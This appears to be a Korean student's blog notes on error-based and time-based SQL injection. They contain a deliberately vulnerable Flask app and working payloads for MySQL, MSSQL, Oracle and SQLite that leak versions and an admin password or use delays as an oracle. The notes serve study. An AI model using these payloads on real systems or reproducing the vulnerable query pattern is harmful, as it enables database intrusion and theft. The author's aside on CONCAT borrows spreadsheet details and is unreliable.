Error & Time based SQL Injection
1. Intro
application이 어떻게 동작하는지에 따라서 SQL Injection 공격 형태가 달라진다. 예를 들어 게시판 서비스에서 해당 취약점이 발생하면 게시물의 제목, 본문을 이용해 데이터 베이스이 정보를 획득할 수 있다. 이는 SQL 쿼리가 실행되는 결과를 공격자가 직접 눈으로 확인할 수 있다. 이와 달리 쿼리 결과를 애플리케이션의기능에서 출력하지 않는 경우도 있는데, 이러한 상황에서 공격을 수행하는 Error based SQL injection과 TIme based SQL Injection이 파생됬다.
이들은 취약점 발생 형태는 동일하나 공격 성공 여부를 어떻게 판단하냐에 따라 명칭이 구분된다.
2.Error based SQL Injection
Error based SQL Injection은 임의로 에러를 발생시켜 데이터베이스 및 운영 체제의 정보를 획득하는 공격 기법이다.
from flask import Flask, request
import pymysql
app = Flask(__name__)
def getConnection():
return
pymysql.connect(host='localhost', user='dream',
password='hack', db='dreamhack', charset='utf8')
@app.route('/' , methods=['GET'])
def index():
username = request.args.get('username')
sql = "select username from users where username='%s'" %username
conn = getConnection()
curs = conn.cursor(pymysql.cursors.DictCursor)
curs.execute(sql)
rows = curs.fetchall()
conn.close()
if(rows):
return "True"
else:
return "False"
app.run(host='0.0.0.0', port=8000, debug=True)
위는 해당 기법을 실습하기 위한 예제 코드로, Flask 프레임 워크를 사용한다.
코드를 살펴보면 디버그 모드가 활성화 되어 있는 것을 확인 할 수 있으며(debug=True) 이용자 입력값이 별다른 검사 없이 SQL 쿼리에 포함되어 SQL Injection 취약점이 발생한다. 그러다 게시물, 알림과 같이 SQL 실행 결과를 출력하는 코드가 존재하지 않고 쿼리 실행 결과만을 판단한다.
(1) 해당 기법을 이용한 공격 방법
Flask 프레임워크로 개발된 애플리케이션에서 디버그 모드를 활성화 하면 코드에서 올가 발생할 떄 발생 원인을 출력한다. 공격자는 오류 메세지를 통해 공격에 필요한 다양한 정보를 수집하고, 원하는 데이터를 획득할 수 있다.
위는 admin 1' 쿼리를 삽입했을 때 에러 메세지가 발생한 모습이다. 에러메세지를 살펴 보면 "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘'admin''' at line 1” 라는 문장을 확인할 수 있따. 이는 admin 1' 쿼리를 입력하며 문법 에러가 발생했다는 메세지이다. 에러 메세지와 같이 쿼리 실행 결과를 직접 노출하지는 않는다. 그러나 중요 정보를 노출하는 방법이 존재 한다.
(2) Error based SQL Injectiom 공격 코드 작성
application에서 발생하는 에러를 이용해 공격하려 한다면 문법 에러와 같이 DBMS에서 쿼리가 실행되기 전에 발생하는 에러가 아닌 런타임 즉, 쿼리가 실행되고 나서 발생하는 에러가 필요하다.
SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/
위는 MYSQL 환경에서 해당 기법으로 공격 시 많이 사용하는 쿼리의 실행 결과이다. 결과를 살펴보면 에러 메세지에 운영체제에 대한 정보가 포함되어 있는 것을 확인 할 숭 씨따. 공격자는 해당 정보를 통해 1-day 또는 0-day 공격을 통해 서버를 장악할 수 있다(현재 n-day 공격이 뭔지 모른다.,,).
위에서 extractvalue 함수가 사용되어있는데 이를 알아보기로 하자
(3) Extractvalue
extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출한다.
(나는 XML데이터가 뭔지 모르고,, XPATH는 학과 사이트를 만들 때 잠깐 겉 핱기 정도만 알고 있는데,,)
만약 두 번째 인자(XPATH 식)이 올바르지 않은 XPATH 식일 경우 올바르지 않은 XPATH 식이라는 에러메세지와 함꼐 잘못 된 식을 출력한다.
mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test |
+-----------------------------------------------+
1 row in set (0.00 sec)
위는 올바른 예시이다. XML 데이터를 전달하고, 올바른 XPHTH 식을 전달해 쿼리가 정상적으로 실행되는 것을 볼 수 있는 반면,
mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식
올바르지 않은 XPATH식을 전달하면 에러 메세지에 삽인한 식의 결과가 출력되는 것을 확인 할 수 있다. 되돌아가 위의 공격예시 쿼리를 살펴보면 XPATH 식에 삽입한 version 함수가 실행되며 에러 메세지와 함께 운영 체제 정보가 포함된다.
///#생각해보니 나는 XPATH에 대해서 다룬 적 있는 것 같다. 작년 한창 Python 문법을 공부하고 나서 유튜브 강의를 통해 웹 크롤링 프로그램을 만드는 과정에서 target 값을 설정할 때 일반적인 코드가 아닌 XPATH를 사용했던 것 같다. 해당 사이트의 XPATH는 관리자 모드 실행 후 특정 코드에서 XPATH COPY를 클릭하면 얻을 수 있다. XPATH가 어떤 기능을 하는지는 추후 공부하기로 해본다. 또 코드를 살펴보면 올바른 예시에서 첫 번째 인자는 HTML과 유사하다고 보여진다. XML도 HTML과 관련이 있을 것 같다는 힌트를 발견했다. ///
(4)extractvalue 응용
extractvalue 함수를 응용해 사용할 경우 데이터 베이스의 정보를 추출 할 수 있따.
mysql> SELECT
extractvalue(1,concat(0x3a,(SELECT
password FROM users WHERE
username='admin')));
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'
위는 서브 쿼리를 사용해 임의 테이블의 데이터를 획득한 모습이다.
**나름대로 한번 분석을 해보자면 첫 번째 인자 1은 XML인것 같다. 이게 뭔 기능을 하는지 모른다. 이게 뒤에 concat함수의 XPATH 식을 만나서 결과가 도출되는 것 같은데 1 자체는 데이터를 의미하는 것같고, 이 데이터가 뒤 함수를 만나서 작동하는 구조인 것 같다.
XPATH식을 분석해보자, 우선 Concat 함수는 여러 범위 및/ 또는 문자열의 텍스트를 결합하지만 구부 기호 또는 IgnorEmpty인수는 제공하지 않습니다. concat함수는 concat(text1, [text2], ...)형식으로 사용되는데, text1의 값은 연결할 텍스트 항목으로 문자열 또는 셀 범위와 같은 문자열 배열으로 필수 사항이다. 이후 인자는 연결할 추가 텍스트 항목이다.
이는 선택사항이다. concat 함수에 대해 예를 들자면 concat("THe", "sun")은 The sun 을 반환한다. 이를 토대로 살펴 보면 1이라는 XML 데이터에서 ox3a의 값과 이후 Select 함수에 뒤 따라오는 값을 연결 한 것으로 보여진다. select 함수는 username 이 admin 값인 user 데이터에서 password를 가져온다.**
(5)Error based SQLI 응용
DBMS별로 Error based SQLI를 통해 공격하는 방법이 있다. 이 중 일부는 DBMS환경에 따라 실행되지 않을 수 있다.
1)MySQL
SELECT updatexml(null,concat(0x0a,version()),null);
/*
ERROR 1105 (HY000): XPATH syntax error: '
5.7.29-0ubuntu0.16.04.1-log'
*/
SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/
SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x;
/*
ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>'
*/
2)MSSQL
SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);
/*
Conversion failed when converting the nvarchar
value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86)
Feb 20 2014 19:20:46
Copyright (c) Microsoft Corporation
Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor)
' to data type int.
*/
3)Oracle
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
/*
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 183
ORA-06512: at "CTXSYS.DRITHSX", line 555
ORA-06512: at line 1
*/
3.Error based Blind SQL Injection
이는 앞서 알아봤떤 Blind SQLI와 Error based SQLI를 동시에 활용하는 공격기법이다. 이를 통해 임의로 에러를 발생시키고 참/거짓을 판단해 데이터를 추출 할 수 있다.
이 기법에서는 에러 베세지를 통해 출력된 데이터로 정보를 수집해 출력값에 영향을 받지만 Error based Blind SQLI를 이용하면 에러 발생 여부만을 필요로 하기 떄문에 용이하게 사용할 수 있다.
아래는 해당 기법을 이용한 예시 쿼리이다.
mysql> select if(1=1, 9e307*2,0);
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
mysql> select if(1=0, 9e307*2,0);
+--------------------+
| if(1=0, 9e307*2,0) |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)
쿼리를 살펴보면, MySQL의 Double 자료형 최댓값을 초과해 에러가 발생시킵니다. 쿼리가 실행되면 서버가 반환하는 HTTP 상태 코드 또는 애플리케이션의 응답 차이를 통해 에러 발생 여부를 확인하고 참/거짓 여부를 판단할 수 있다.
(1) Short-circuit evaluation
로직 연산의 원리를 이용해 공격하는 방법 또한 존재합니다. 예를 들어, A와 B라는 식이 있을 때 AND연산자를 사용할 경우 두 식의 결과가 모두 참이 반환돼야 전체 식이 참이 됩니다. 두 개의 식 중 하나라도 거짓을 반환하면 B연산을 실행하지 않는 점을 이용해 공격할 수 있다.
mysql> SELECT 0 AND SLEEP(1);
+----------------+
| 0 AND SLEEP(1) |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)
mysql> SELECT 1 AND SLEEP(10);
+-----------------+
| 1 AND SLEEP(10) |
+-----------------+
| 0 |
+-----------------+
1 row in set (10.04 sec)
위는 연산자를 이용해 공격하느 예시 쿼리이다. 두 쿼리문의 결과를 확인해보면 처음 식이 거짓을 반환할경우 SLEEP 함수가 실행되지 않고, 처음 식이 참인경우 SLEEP 함수가 실행된 것을 볼 수 있다. (1 row in set(10.04 sec))
mysql> SELECT 1=1 or 9e307*2;
+----------------+
| 1=1 or 9e307*2 |
+----------------+
| 1 |
+----------------+
1 row in set (0.00 sec)
mysql> SELECT 1=0 or 9e307*2;
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
위는 OR 연산자를 사용한 예시 쿼리이다. OR 연산자는 처음 식이 참이라면 뒤따라오는 식의 결과에 영향을 받는 점을 이용해 공격할 수 있다.
4.Time based SQL Injection
이는 시간 지연을 이용해 쿼리의 참/거짓 여부를 판단하는 공격 기법이다.
시간을 지연시키는 방법으로는 DBSM에서 제공하는 함수 또는 시간이 많이 소요되는 연산을 수행하는 헤비 쿼리를 사용하는 방법이 있다.
mysql> SELECT IF(1=1, sleep(1), 0);
/*
mysql> SELECT IF(1=1, sleep(1), 0);
+----------------------+
| IF(1=1, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (1.00 sec)
*/
mysql> SELECT IF(1=0, sleep(1), 0);
/*
mysql> SELECT IF(1=0, sleep(1), 0);
+----------------------+
| IF(1=0, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (0.00 sec)
*/
위는 DBMS에서 기본적으로 제공하는 SLLEP 함수를 사용한 예시이다. 결과를 살펴보면 IF 조건문이 참일 경우 Sleep함수가 실행되어 "1 row in set(1.99 sec)"메세지를 출력된 것을 확인할 수 있다.
(1) Time based SQLI 응용
1)MySQL
/* SLEEP(duration) */
mysql> SELECT SLEEP(1);
+----------+
| SLEEP(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec)
[sleep 함수 사용 예시]
/* BENCHMARK(count, expr) */
mysql> SELECT BENCHMARK(40000000,SHA1(1));
+-----------------------------+
| BENCHMARK(40000000,SHA1(1)) |
+-----------------------------+
| 0 |
+-----------------------------+
1 row in set (10.78 sec)
[benchmark함수 사용 예시]
mysql> SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
+----------+
| heavy |
+----------+
| 24897088 |
+----------+
1 row in set (1.41 sec)
mysql> SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B) as heavy;
+-------+
| heavy |
+-------+
| 85264 |
+-------+
1 row in set (0.01 sec)
mysql> SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
+----------+
| heavy |
+----------+
| 24897088 |
+----------+
1 row in set (1.38 sec)
[헤비 쿼리 사용 예시]
2)MSSQL
/* waitfor delay 'time_to_pass'; */
> SELECT '' if((select 'abc')='abc') waitfor delay '0:0:1';
Execution time: 1,02 sec, rows selected: 0, rows affected: 0,
absolute service time: 1,17 sec, absolute service time: 1,16 sec
[Wait for 사용 예시]
select (SELECT count(*) FROM
information_schema.columns A,
information_schema.columns B,
information_schema.columns C,
information_schema.columns D,
information_schema.columns E, in
formation_schema.columns F)
/*
Execution time: 6,36 sec, rows selected: 1, rows affected: 0, absolute service time: 6,53 sec, absolute service time: 6,53 sec
*/
[헤비 쿼리 사용 예시]
3)SQLite
/* LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) */
sqlite> .timer ON
sqlite> SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));
0
Run Time: real 9.740 user 7.983349 sys 1.743972
5.Review
슬슬 내공이 쌓이는지 코드들이 무엇을 하고자 하는게 보인다.
<---달이 구름에 가려진다한들 달이 없으리랴--->
'IT > 웹해킹' 카테고리의 다른 글
오늘의 공부 (0) | 2023.07.19 |
---|---|
SQL Injection -Part2 -1 (0) | 2023.01.26 |
SQL Injection -3 (0) | 2023.01.24 |
SQL injection-2 (0) | 2023.01.24 |
SQL injuection -1 (0) | 2023.01.24 |